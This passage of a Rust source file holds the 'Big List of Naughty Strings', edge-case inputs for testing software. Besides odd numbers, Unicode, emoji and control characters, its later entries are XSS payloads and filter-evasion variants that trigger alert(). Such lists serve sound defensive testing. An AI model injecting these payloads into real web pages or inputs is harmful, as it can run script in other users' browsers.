1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
/// Big list of naughty strings, implementation detail.
/// This is a workaround for rustdoc, which does not escape correctly
/// the string literal and exposes naughty javascript.
const BLNS_IMPL: &'static [&'static str] = &[
    "",
    "undefined",
    "undef",
    "null",
    "NULL",
    "(null)",
    "nil",
    "NIL",
    "true",
    "false",
    "True",
    "False",
    "None",
    "\\",
    "\\\\",
    "0",
    "1",
    "1.00",
    "$1.00",
    "1/2",
    "1E2",
    "1E02",
    "1E+02",
    "-1",
    "-1.00",
    "-$1.00",
    "-1/2",
    "-1E2",
    "-1E02",
    "-1E+02",
    "1/0",
    "0/0",
    "-2147483648/-1",
    "-9223372036854775808/-1",
    "0.00",
    "0..0",
    ".",
    "0.0.0",
    "0,00",
    "0,,0",
    ",",
    "0,0,0",
    "0.0/0",
    "1.0/0.0",
    "0.0/0.0",
    "1,0/0,0",
    "0,0/0,0",
    "--1",
    "-",
    "-.",
    "-,",
    "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999",
    "NaN",
    "Infinity",
    "-Infinity",
    "INF",
    "1#INF",
    "-1#IND",
    "1#QNAN",
    "1#SNAN",
    "1#IND",
    "0x0",
    "0xffffffff",
    "0xffffffffffffffff",
    "0xabad1dea",
    "123456789012345678901234567890123456789",
    "1,000.00",
    "1 000.00",
    "1\'000.00",
    "1,000,000.00",
    "1 000 000.00",
    "1\'000\'000.00",
    "1.000,00",
    "1 000,00",
    "1\'000,00",
    "1.000.000,00",
    "1 000 000,00",
    "1\'000\'000,00",
    "01000",
    "08",
    "09",
    "2.2250738585072011e-308",
    ",./;\'[]\\-=",
    "<>?:\"{}|_+",
    "!@#$%^&*()`~",
    "\u{3a9}\u{2248}\u{e7}\u{221a}\u{222b}\u{2dc}\u{b5}\u{2264}\u{2265}\u{f7}",
    "\u{e5}\u{df}\u{2202}\u{192}\u{a9}\u{2d9}\u{2206}\u{2da}\u{ac}\u{2026}\u{e6}",
    "\u{153}\u{2211}\u{b4}\u{ae}\u{2020}\u{a5}\u{a8}\u{2c6}\u{f8}\u{3c0}\u{201c}\u{2018}",
    "\u{a1}\u{2122}\u{a3}\u{a2}\u{221e}\u{a7}\u{b6}\u{2022}\u{aa}\u{ba}\u{2013}\u{2260}",
    "\u{b8}\u{2db}\u{c7}\u{25ca}\u{131}\u{2dc}\u{c2}\u{af}\u{2d8}\u{bf}",
    "\u{c5}\u{cd}\u{ce}\u{cf}\u{2dd}\u{d3}\u{d4}\u{f8ff}\u{d2}\u{da}\u{c6}\u{2603}",
    "\u{152}\u{201e}\u{b4}\u{2030}\u{2c7}\u{c1}\u{a8}\u{2c6}\u{d8}\u{220f}\u{201d}\u{2019}",
    "`\u{2044}\u{20ac}\u{2039}\u{203a}\u{fb01}\u{fb02}\u{2021}\u{b0}\u{b7}\u{201a}\u{2014}\u{b1}",
    "\u{215b}\u{215c}\u{215d}\u{215e}",
    "\u{401}\u{402}\u{403}\u{404}\u{405}\u{406}\u{407}\u{408}\u{409}\u{40a}\u{40b}\u{40c}\u{40d}\u{40e}\u{40f}\u{410}\u{411}\u{412}\u{413}\u{414}\u{415}\u{416}\u{417}\u{418}\u{419}\u{41a}\u{41b}\u{41c}\u{41d}\u{41e}\u{41f}\u{420}\u{421}\u{422}\u{423}\u{424}\u{425}\u{426}\u{427}\u{428}\u{429}\u{42a}\u{42b}\u{42c}\u{42d}\u{42e}\u{42f}\u{430}\u{431}\u{432}\u{433}\u{434}\u{435}\u{436}\u{437}\u{438}\u{439}\u{43a}\u{43b}\u{43c}\u{43d}\u{43e}\u{43f}\u{440}\u{441}\u{442}\u{443}\u{444}\u{445}\u{446}\u{447}\u{448}\u{449}\u{44a}\u{44b}\u{44c}\u{44d}\u{44e}\u{44f}",
    "\u{660}\u{661}\u{662}\u{663}\u{664}\u{665}\u{666}\u{667}\u{668}\u{669}",
    "\u{2070}\u{2074}\u{2075}",
    "\u{2080}\u{2081}\u{2082}",
    "\u{2070}\u{2074}\u{2075}\u{2080}\u{2081}\u{2082}",
    "\'",
    "\"",
    "\'\'",
    "\"\"",
    "\'\"\'",
    "\"\'\'\'\'\"\'\"",
    "\"\'\"\'\"\'\'\'\'\"",
    "<foo val=\u{201c}bar\u{201d} />",
    "<foo val=\u{201c}bar\u{201d} />",
    "<foo val=\u{201d}bar\u{201c} />",
    "<foo val=`bar\' />",
    "\u{7530}\u{4e2d}\u{3055}\u{3093}\u{306b}\u{3042}\u{3052}\u{3066}\u{4e0b}\u{3055}\u{3044}",
    "\u{30d1}\u{30fc}\u{30c6}\u{30a3}\u{30fc}\u{3078}\u{884c}\u{304b}\u{306a}\u{3044}\u{304b}",
    "\u{548c}\u{88fd}\u{6f22}\u{8a9e}",
    "\u{90e8}\u{843d}\u{683c}",
    "\u{c0ac}\u{d68c}\u{acfc}\u{d559}\u{c6d0} \u{c5b4}\u{d559}\u{c5f0}\u{ad6c}\u{c18c}",
    "\u{cc26}\u{cc28}\u{b97c} \u{d0c0}\u{ace0} \u{c628} \u{d3b2}\u{c2dc}\u{b9e8}\u{acfc} \u{c45b}\u{b2e4}\u{b9ac} \u{b620}\u{bc29}\u{ac01}\u{d558}",
    "\u{793e}\u{6703}\u{79d1}\u{5b78}\u{9662}\u{8a9e}\u{5b78}\u{7814}\u{7a76}\u{6240}",
    "\u{c6b8}\u{b780}\u{bc14}\u{d1a0}\u{b974}",
    "\u{2070e}\u{20731}\u{20779}\u{20c53}\u{20c78}\u{20c96}\u{20ccf}",
    "\u{30fd}\u{f3c}\u{e88}\u{644}\u{35c}\u{e88}\u{f3d}\u{ff89} \u{30fd}\u{f3c}\u{e88}\u{644}\u{35c}\u{e88}\u{f3d}\u{ff89} ",
    "(\u{ff61}\u{25d5} \u{2200} \u{25d5}\u{ff61})",
    "\u{ff40}\u{ff68}(\u{b4}\u{2200}\u{ff40}\u{2229}",
    "__\u{ff9b}(,_,*)",
    "\u{30fb}(\u{ffe3}\u{2200}\u{ffe3})\u{30fb}:*:",
    "\u{ff9f}\u{ff65}\u{273f}\u{30fe}\u{2572}(\u{ff61}\u{25d5}\u{203f}\u{25d5}\u{ff61})\u{2571}\u{273f}\u{ff65}\u{ff9f}",
    ",\u{3002}\u{30fb}:*:\u{30fb}\u{309c}\u{2019}( \u{263b} \u{3c9} \u{263b} )\u{3002}\u{30fb}:*:\u{30fb}\u{309c}\u{2019}",
    "(\u{256f}\u{b0}\u{25a1}\u{b0}\u{ff09}\u{256f}\u{fe35} \u{253b}\u{2501}\u{253b})  ",
    "(\u{ff89}\u{ca5}\u{76ca}\u{ca5}\u{ff09}\u{ff89}\u{feff} \u{253b}\u{2501}\u{253b}",
    "( \u{361}\u{b0} \u{35c}\u{296} \u{361}\u{b0})",
    "\u{1f60d}",
    "\u{1f469}\u{1f3fd}",
    "\u{1f47e} \u{1f647} \u{1f481} \u{1f645} \u{1f646} \u{1f64b} \u{1f64e} \u{1f64d} ",
    "\u{1f435} \u{1f648} \u{1f649} \u{1f64a}",
    "\u{2764}\u{fe0f} \u{1f494} \u{1f48c} \u{1f495} \u{1f49e} \u{1f493} \u{1f497} \u{1f496} \u{1f498} \u{1f49d} \u{1f49f} \u{1f49c} \u{1f49b} \u{1f49a} \u{1f499}",
    "\u{270b}\u{1f3ff} \u{1f4aa}\u{1f3ff} \u{1f450}\u{1f3ff} \u{1f64c}\u{1f3ff} \u{1f44f}\u{1f3ff} \u{1f64f}\u{1f3ff}",
    "\u{1f6be} \u{1f192} \u{1f193} \u{1f195} \u{1f196} \u{1f197} \u{1f199} \u{1f3e7}",
    "0\u{fe0f}\u{20e3} 1\u{fe0f}\u{20e3} 2\u{fe0f}\u{20e3} 3\u{fe0f}\u{20e3} 4\u{fe0f}\u{20e3} 5\u{fe0f}\u{20e3} 6\u{fe0f}\u{20e3} 7\u{fe0f}\u{20e3} 8\u{fe0f}\u{20e3} 9\u{fe0f}\u{20e3} \u{1f51f}",
    "\u{1f1fa}\u{1f1f8}\u{1f1f7}\u{1f1fa}\u{1f1f8} \u{1f1e6}\u{1f1eb}\u{1f1e6}\u{1f1f2}\u{1f1f8}                                                                                          ",
    "\u{1f1fa}\u{1f1f8}\u{1f1f7}\u{1f1fa}\u{1f1f8}\u{1f1e6}\u{1f1eb}\u{1f1e6}\u{1f1f2}",
    "\u{1f1fa}\u{1f1f8}\u{1f1f7}\u{1f1fa}\u{1f1f8}\u{1f1e6}",
    "\u{ff11}\u{ff12}\u{ff13}",
    "\u{661}\u{662}\u{663}",
    "\u{62b}\u{645} \u{646}\u{641}\u{633} \u{633}\u{642}\u{637}\u{62a} \u{648}\u{628}\u{627}\u{644}\u{62a}\u{62d}\u{62f}\u{64a}\u{62f}\u{60c}, \u{62c}\u{632}\u{64a}\u{631}\u{62a}\u{64a} \u{628}\u{627}\u{633}\u{62a}\u{62e}\u{62f}\u{627}\u{645} \u{623}\u{646} \u{62f}\u{646}\u{648}. \u{625}\u{630} \u{647}\u{646}\u{627}\u{61f} \u{627}\u{644}\u{633}\u{62a}\u{627}\u{631} \u{648}\u{62a}\u{646}\u{635}\u{64a}\u{628} \u{643}\u{627}\u{646}. \u{623}\u{647}\u{651}\u{644} \u{627}\u{64a}\u{637}\u{627}\u{644}\u{64a}\u{627}\u{60c} \u{628}\u{631}\u{64a}\u{637}\u{627}\u{646}\u{64a}\u{627}-\u{641}\u{631}\u{646}\u{633}\u{627} \u{642}\u{62f} \u{623}\u{62e}\u{630}. \u{633}\u{644}\u{64a}\u{645}\u{627}\u{646}\u{60c} \u{625}\u{62a}\u{641}\u{627}\u{642}\u{64a}\u{629} \u{628}\u{64a}\u{646} \u{645}\u{627}, \u{64a}\u{630}\u{643}\u{631} \u{627}\u{644}\u{62d}\u{62f}\u{648}\u{62f} \u{623}\u{64a} \u{628}\u{639}\u{62f}, \u{645}\u{639}\u{627}\u{645}\u{644}\u{629} \u{628}\u{648}\u{644}\u{646}\u{62f}\u{627}\u{60c} \u{627}\u{644}\u{625}\u{637}\u{644}\u{627}\u{642} \u{639}\u{644} \u{625}\u{64a}\u{648}.",
    "\u{5d1}\u{5b0}\u{5bc}\u{5e8}\u{5b5}\u{5d0}\u{5e9}\u{5b4}\u{5c1}\u{5d9}\u{5ea}, \u{5d1}\u{5b8}\u{5bc}\u{5e8}\u{5b8}\u{5d0} \u{5d0}\u{5b1}\u{5dc}\u{5b9}\u{5d4}\u{5b4}\u{5d9}\u{5dd}, \u{5d0}\u{5b5}\u{5ea} \u{5d4}\u{5b7}\u{5e9}\u{5b8}\u{5bc}\u{5c1}\u{5de}\u{5b7}\u{5d9}\u{5b4}\u{5dd}, \u{5d5}\u{5b0}\u{5d0}\u{5b5}\u{5ea} \u{5d4}\u{5b8}\u{5d0}\u{5b8}\u{5e8}\u{5b6}\u{5e5}",
    "\u{5d4}\u{5b8}\u{5d9}\u{5b0}\u{5ea}\u{5b8}\u{5d4}test\u{627}\u{644}\u{635}\u{641}\u{62d}\u{627}\u{62a} \u{627}\u{644}\u{62a}\u{651}\u{62d}\u{648}\u{644}",
    "\u{fdfd}",
    "\u{fdfa}",
    "\u{645}\u{64f}\u{646}\u{64e}\u{627}\u{642}\u{64e}\u{634}\u{64e}\u{629}\u{64f} \u{633}\u{64f}\u{628}\u{64f}\u{644}\u{650} \u{627}\u{650}\u{633}\u{652}\u{62a}\u{650}\u{62e}\u{652}\u{62f}\u{64e}\u{627}\u{645}\u{650} \u{627}\u{644}\u{644}\u{651}\u{64f}\u{63a}\u{64e}\u{629}\u{650} \u{641}\u{650}\u{64a} \u{627}\u{644}\u{646}\u{651}\u{64f}\u{638}\u{64f}\u{645}\u{650} \u{627}\u{644}\u{652}\u{642}\u{64e}\u{627}\u{626}\u{650}\u{645}\u{64e}\u{629}\u{650} \u{648}\u{64e}\u{641}\u{650}\u{64a}\u{645} \u{64a}\u{64e}\u{62e}\u{64f}\u{635}\u{651}\u{64e} \u{627}\u{644}\u{62a}\u{651}\u{64e}\u{637}\u{652}\u{628}\u{650}\u{64a}\u{642}\u{64e}\u{627}\u{62a}\u{64f} \u{627}\u{644}\u{652}\u{62d}\u{627}\u{633}\u{64f}\u{648}\u{628}\u{650}\u{64a}\u{651}\u{64e}\u{629}\u{64f} ",
    "\u{200b}",
    "\u{1680}",
    "\u{180e}",
    "\u{3000}",
    "\u{feff}",
    "\u{2423}",
    "\u{2422}",
    "\u{2421}",
    "\u{202a}\u{202a}test\u{202a}",
    "\u{202b}test\u{202b}",
    "\u{2029}test\u{2029}",
    "test\u{2060}test\u{202b}",
    "\u{2066}test\u{2067}",
    "\u{1e70}\u{33a}\u{33a}\u{315}o\u{35e} \u{337}i\u{332}\u{32c}\u{347}\u{32a}\u{359}n\u{31d}\u{317}\u{355}v\u{31f}\u{31c}\u{318}\u{326}\u{35f}o\u{336}\u{319}\u{330}\u{320}k\u{e8}\u{35a}\u{32e}\u{33a}\u{32a}\u{339}\u{331}\u{324} \u{316}t\u{31d}\u{355}\u{333}\u{323}\u{33b}\u{32a}\u{35e}h\u{33c}\u{353}\u{332}\u{326}\u{333}\u{318}\u{332}e\u{347}\u{323}\u{330}\u{326}\u{32c}\u{34e} \u{322}\u{33c}\u{33b}\u{331}\u{318}h\u{35a}\u{34e}\u{359}\u{31c}\u{323}\u{332}\u{345}i\u{326}\u{332}\u{323}\u{330}\u{324}v\u{33b}\u{34d}e\u{33a}\u{32d}\u{333}\u{32a}\u{330}-m\u{322}i\u{345}n\u{316}\u{33a}\u{31e}\u{332}\u{32f}\u{330}d\u{335}\u{33c}\u{31f}\u{359}\u{329}\u{33c}\u{318}\u{333} \u{31e}\u{325}\u{331}\u{333}\u{32d}r\u{31b}\u{317}\u{318}e\u{359}p\u{360}r\u{33c}\u{31e}\u{33b}\u{32d}\u{317}e\u{33a}\u{320}\u{323}\u{35f}s\u{318}\u{347}\u{333}\u{34d}\u{31d}\u{349}e\u{349}\u{325}\u{32f}\u{31e}\u{332}\u{35a}\u{32c}\u{35c}\u{1f9}\u{32c}\u{34e}\u{34e}\u{31f}\u{316}\u{347}\u{324}t\u{34d}\u{32c}\u{324}\u{353}\u{33c}\u{32d}\u{358}\u{345}i\u{32a}\u{331}n\u{360}g\u{334}\u{349} \u{34f}\u{349}\u{345}c\u{32c}\u{31f}h\u{361}a\u{32b}\u{33b}\u{32f}\u{358}o\u{32b}\u{31f}\u{316}\u{34d}\u{319}\u{31d}\u{349}s\u{317}\u{326}\u{332}.\u{328}\u{339}\u{348}\u{323}",
    "\u{321}\u{353}\u{31e}\u{345}I\u{317}\u{318}\u{326}\u{35d}n\u{347}\u{347}\u{359}v\u{32e}\u{32b}ok\u{332}\u{32b}\u{319}\u{348}i\u{316}\u{359}\u{32d}\u{339}\u{320}\u{31e}n\u{321}\u{33b}\u{32e}\u{323}\u{33a}g\u{332}\u{348}\u{359}\u{32d}\u{359}\u{32c}\u{34e} \u{330}t\u{354}\u{326}h\u{31e}\u{332}e\u{322}\u{324} \u{34d}\u{32c}\u{332}\u{356}f\u{334}\u{318}\u{355}\u{323}\u{e8}\u{356}\u{1eb9}\u{325}\u{329}l\u{356}\u{354}\u{35a}i\u{353}\u{35a}\u{326}\u{360}n\u{356}\u{34d}\u{317}\u{353}\u{333}\u{32e}g\u{34d} \u{328}o\u{35a}\u{32a}\u{361}f\u{318}\u{323}\u{32c} \u{316}\u{318}\u{356}\u{31f}\u{359}\u{32e}c\u{489}\u{354}\u{32b}\u{356}\u{353}\u{347}\u{356}\u{345}h\u{335}\u{324}\u{323}\u{35a}\u{354}\u{e1}\u{317}\u{33c}\u{355}\u{345}o\u{33c}\u{323}\u{325}s\u{331}\u{348}\u{33a}\u{316}\u{326}\u{33b}\u{362}.\u{31b}\u{316}\u{31e}\u{320}\u{32b}\u{330}",
    "\u{317}\u{33a}\u{356}\u{339}\u{32f}\u{353}\u{1e6e}\u{324}\u{34d}\u{325}\u{347}\u{348}h\u{332}\u{301}e\u{34f}\u{353}\u{33c}\u{317}\u{319}\u{33c}\u{323}\u{354} \u{347}\u{31c}\u{331}\u{320}\u{353}\u{34d}\u{345}N\u{355}\u{360}e\u{317}\u{331}z\u{318}\u{31d}\u{31c}\u{33a}\u{359}p\u{324}\u{33a}\u{339}\u{34d}\u{32f}\u{35a}e\u{320}\u{33b}\u{320}\u{35c}r\u{328}\u{324}\u{34d}\u{33a}\u{316}\u{354}\u{316}\u{316}d\u{320}\u{31f}\u{32d}\u{32c}\u{31d}\u{35f}i\u{326}\u{356}\u{329}\u{353}\u{354}\u{324}a\u{320}\u{317}\u{32c}\u{349}\u{319}n\u{35a}\u{35c} \u{33b}\u{31e}\u{330}\u{35a}\u{345}h\u{335}\u{349}i\u{333}\u{31e}v\u{322}\u{347}\u{1e19}\u{34e}\u{35f}-\u{489}\u{32d}\u{329}\u{33c}\u{354}m\u{324}\u{32d}\u{32b}i\u{355}\u{347}\u{31d}\u{326}n\u{317}\u{359}\u{1e0d}\u{31f} \u{32f}\u{332}\u{355}\u{35e}\u{1eb}\u{31f}\u{32f}\u{330}\u{332}\u{359}\u{33b}\u{31d}f \u{32a}\u{330}\u{330}\u{317}\u{316}\u{32d}\u{318}\u{358}c\u{326}\u{34d}\u{332}\u{31e}\u{34d}\u{329}\u{319}\u{1e25}\u{35a}a\u{32e}\u{34e}\u{31f}\u{319}\u{35c}\u{1a1}\u{329}\u{339}\u{34e}s\u{324}.\u{31d}\u{31d} \u{489}Z\u{321}\u{316}\u{31c}\u{356}\u{330}\u{323}\u{349}\u{31c}a\u{356}\u{330}\u{359}\u{32c}\u{361}l\u{332}\u{32b}\u{333}\u{34d}\u{329}g\u{321}\u{31f}\u{33c}\u{331}\u{35a}\u{31e}\u{32c}\u{345}o\u{317}\u{35c}.\u{31f}",
    "\u{326}H\u{32c}\u{324}\u{317}\u{324}\u{35d}e\u{35c} \u{31c}\u{325}\u{31d}\u{33b}\u{34d}\u{31f}\u{301}w\u{315}h\u{316}\u{32f}\u{353}o\u{31d}\u{359}\u{316}\u{34e}\u{331}\u{32e} \u{489}\u{33a}\u{319}\u{31e}\u{31f}\u{348}W\u{337}\u{33c}\u{32d}a\u{33a}\u{32a}\u{34d}\u{12f}\u{348}\u{355}\u{32d}\u{359}\u{32f}\u{31c}t\u{336}\u{33c}\u{32e}s\u{318}\u{359}\u{356}\u{315} \u{320}\u{32b}\u{320}B\u{33b}\u{34d}\u{359}\u{349}\u{333}\u{345}e\u{335}h\u{335}\u{32c}\u{347}\u{32b}\u{359}i\u{339}\u{353}\u{333}\u{333}\u{32e}\u{34e}\u{32b}\u{315}n\u{35f}d\u{334}\u{32a}\u{31c}\u{316} \u{330}\u{349}\u{329}\u{347}\u{359}\u{332}\u{35e}\u{345}T\u{356}\u{33c}\u{353}\u{32a}\u{362}h\u{34f}\u{353}\u{32e}\u{33b}e\u{32c}\u{31d}\u{31f}\u{345} \u{324}\u{339}\u{31d}W\u{359}\u{31e}\u{31d}\u{354}\u{347}\u{35d}\u{345}a\u{34f}\u{353}\u{354}\u{339}\u{33c}\u{323}l\u{334}\u{354}\u{330}\u{324}\u{31f}\u{354}\u{1e3d}\u{32b}.\u{355}",
    "Z\u{32e}\u{31e}\u{320}\u{359}\u{354}\u{345}\u{1e00}\u{317}\u{31e}\u{348}\u{33b}\u{317}\u{1e36}\u{359}\u{34e}\u{32f}\u{339}\u{31e}\u{353}G\u{33b}O\u{32d}\u{317}\u{32e}",
    "\u{2d9}\u{250}nb\u{1d09}l\u{250} \u{250}u\u{183}\u{250}\u{26f} \u{1dd}\u{279}olop \u{287}\u{1dd} \u{1dd}\u{279}oq\u{250}l \u{287}n \u{287}unp\u{1d09}p\u{1d09}\u{254}u\u{1d09} \u{279}od\u{26f}\u{1dd}\u{287} po\u{26f}sn\u{1d09}\u{1dd} op p\u{1dd}s \'\u{287}\u{1d09}l\u{1dd} \u{183}u\u{1d09}\u{254}s\u{1d09}d\u{1d09}p\u{250} \u{279}n\u{287}\u{1dd}\u{287}\u{254}\u{1dd}suo\u{254} \'\u{287}\u{1dd}\u{26f}\u{250} \u{287}\u{1d09}s \u{279}olop \u{26f}nsd\u{1d09} \u{26f}\u{1dd}\u{279}o\u{2e5}",
    "00\u{2d9}\u{196}$-",
    "\u{ff34}\u{ff48}\u{ff45} \u{ff51}\u{ff55}\u{ff49}\u{ff43}\u{ff4b} \u{ff42}\u{ff52}\u{ff4f}\u{ff57}\u{ff4e} \u{ff46}\u{ff4f}\u{ff58} \u{ff4a}\u{ff55}\u{ff4d}\u{ff50}\u{ff53} \u{ff4f}\u{ff56}\u{ff45}\u{ff52} \u{ff54}\u{ff48}\u{ff45} \u{ff4c}\u{ff41}\u{ff5a}\u{ff59} \u{ff44}\u{ff4f}\u{ff47}",
    "\u{1d413}\u{1d421}\u{1d41e} \u{1d42a}\u{1d42e}\u{1d422}\u{1d41c}\u{1d424} \u{1d41b}\u{1d42b}\u{1d428}\u{1d430}\u{1d427} \u{1d41f}\u{1d428}\u{1d431} \u{1d423}\u{1d42e}\u{1d426}\u{1d429}\u{1d42c} \u{1d428}\u{1d42f}\u{1d41e}\u{1d42b} \u{1d42d}\u{1d421}\u{1d41e} \u{1d425}\u{1d41a}\u{1d433}\u{1d432} \u{1d41d}\u{1d428}\u{1d420}",
    "\u{1d57f}\u{1d58d}\u{1d58a} \u{1d596}\u{1d59a}\u{1d58e}\u{1d588}\u{1d590} \u{1d587}\u{1d597}\u{1d594}\u{1d59c}\u{1d593} \u{1d58b}\u{1d594}\u{1d59d} \u{1d58f}\u{1d59a}\u{1d592}\u{1d595}\u{1d598} \u{1d594}\u{1d59b}\u{1d58a}\u{1d597} \u{1d599}\u{1d58d}\u{1d58a} \u{1d591}\u{1d586}\u{1d59f}\u{1d59e} \u{1d589}\u{1d594}\u{1d58c}",
    "\u{1d47b}\u{1d489}\u{1d486} \u{1d492}\u{1d496}\u{1d48a}\u{1d484}\u{1d48c} \u{1d483}\u{1d493}\u{1d490}\u{1d498}\u{1d48f} \u{1d487}\u{1d490}\u{1d499} \u{1d48b}\u{1d496}\u{1d48e}\u{1d491}\u{1d494} \u{1d490}\u{1d497}\u{1d486}\u{1d493} \u{1d495}\u{1d489}\u{1d486} \u{1d48d}\u{1d482}\u{1d49b}\u{1d49a} \u{1d485}\u{1d490}\u{1d488}",
    "\u{1d4e3}\u{1d4f1}\u{1d4ee} \u{1d4fa}\u{1d4fe}\u{1d4f2}\u{1d4ec}\u{1d4f4} \u{1d4eb}\u{1d4fb}\u{1d4f8}\u{1d500}\u{1d4f7} \u{1d4ef}\u{1d4f8}\u{1d501} \u{1d4f3}\u{1d4fe}\u{1d4f6}\u{1d4f9}\u{1d4fc} \u{1d4f8}\u{1d4ff}\u{1d4ee}\u{1d4fb} \u{1d4fd}\u{1d4f1}\u{1d4ee} \u{1d4f5}\u{1d4ea}\u{1d503}\u{1d502} \u{1d4ed}\u{1d4f8}\u{1d4f0}",
    "\u{1d54b}\u{1d559}\u{1d556} \u{1d562}\u{1d566}\u{1d55a}\u{1d554}\u{1d55c} \u{1d553}\u{1d563}\u{1d560}\u{1d568}\u{1d55f} \u{1d557}\u{1d560}\u{1d569} \u{1d55b}\u{1d566}\u{1d55e}\u{1d561}\u{1d564} \u{1d560}\u{1d567}\u{1d556}\u{1d563} \u{1d565}\u{1d559}\u{1d556} \u{1d55d}\u{1d552}\u{1d56b}\u{1d56a} \u{1d555}\u{1d560}\u{1d558}",
    "\u{1d683}\u{1d691}\u{1d68e} \u{1d69a}\u{1d69e}\u{1d692}\u{1d68c}\u{1d694} \u{1d68b}\u{1d69b}\u{1d698}\u{1d6a0}\u{1d697} \u{1d68f}\u{1d698}\u{1d6a1} \u{1d693}\u{1d69e}\u{1d696}\u{1d699}\u{1d69c} \u{1d698}\u{1d69f}\u{1d68e}\u{1d69b} \u{1d69d}\u{1d691}\u{1d68e} \u{1d695}\u{1d68a}\u{1d6a3}\u{1d6a2} \u{1d68d}\u{1d698}\u{1d690}",
    "\u{24af}\u{24a3}\u{24a0} \u{24ac}\u{24b0}\u{24a4}\u{249e}\u{24a6} \u{249d}\u{24ad}\u{24aa}\u{24b2}\u{24a9} \u{24a1}\u{24aa}\u{24b3} \u{24a5}\u{24b0}\u{24a8}\u{24ab}\u{24ae} \u{24aa}\u{24b1}\u{24a0}\u{24ad} \u{24af}\u{24a3}\u{24a0} \u{24a7}\u{249c}\u{24b5}\u{24b4} \u{249f}\u{24aa}\u{24a2}",
    "<script>alert(123)</script>",
    "&lt;script&gt;alert(&#39;123&#39;);&lt;/script&gt;",
    "<img src=x onerror=alert(123) />",
    "<svg><script>123<1>alert(123)</script> ",
    "\"><script>alert(123)</script>",
    "\'><script>alert(123)</script>",
    "><script>alert(123)</script>",
    "</script><script>alert(123)</script>",
    "< / script >< script >alert(123)< / script >",
    " onfocus=JaVaSCript:alert(123) autofocus ",
    "\" onfocus=JaVaSCript:alert(123) autofocus ",
    "\' onfocus=JaVaSCript:alert(123) autofocus ",
    "\u{ff1c}script\u{ff1e}alert(123)\u{ff1c}/script\u{ff1e}",
    "<sc<script>ript>alert(123)</sc</script>ript>",
    "--><script>alert(123)</script>",
    "\";alert(123);t=\"",
    "\';alert(123);t=\'",
    "JavaSCript:alert(123)",
    ";alert(123);",
    "src=JaVaSCript:prompt(132)",
    "\"><script>alert(123);</script x=\"",
    "\'><script>alert(123);</script x=\'",
    "><script>alert(123);</script x=",
    "\" autofocus onkeyup=\"javascript:alert(123)",
    "\' autofocus onkeyup=\'javascript:alert(123)",
    "<script\\x20type=\"text/javascript\">javascript:alert(1);</script>",
    "<script\\x3Etype=\"text/javascript\">javascript:alert(1);</script>",
    "<script\\x0Dtype=\"text/javascript\">javascript:alert(1);</script>",
    "<script\\x09type=\"text/javascript\">javascript:alert(1);</script>",
    "<script\\x0Ctype=\"text/javascript\">javascript:alert(1);</script>",
    "<script\\x2Ftype=\"text/javascript\">javascript:alert(1);</script>",
    "<script\\x0Atype=\"text/javascript\">javascript:alert(1);</script>",
    "\'`\"><\\x3Cscript>javascript:alert(1)</script>        ",
    "\'`\"><\\x00script>javascript:alert(1)</script>",
    "ABC<div style=\"x\\x3Aexpression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:expression\\x5C(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:expression\\x00(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:exp\\x00ression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:exp\\x5Cression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\x0Aexpression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\x09expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE3\\x80\\x80expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE2\\x80\\x84expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xC2\\xA0expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE2\\x80\\x80expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE2\\x80\\x8Aexpression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\x0Dexpression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\x0Cexpression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE2\\x80\\x87expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xEF\\xBB\\xBFexpression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\x20expression(javascript:alert(1)\">DEF",
    "ABC<div style=\"x:\\xE2\\x80\\x88expression(javascript:alert(1)\">DEF",
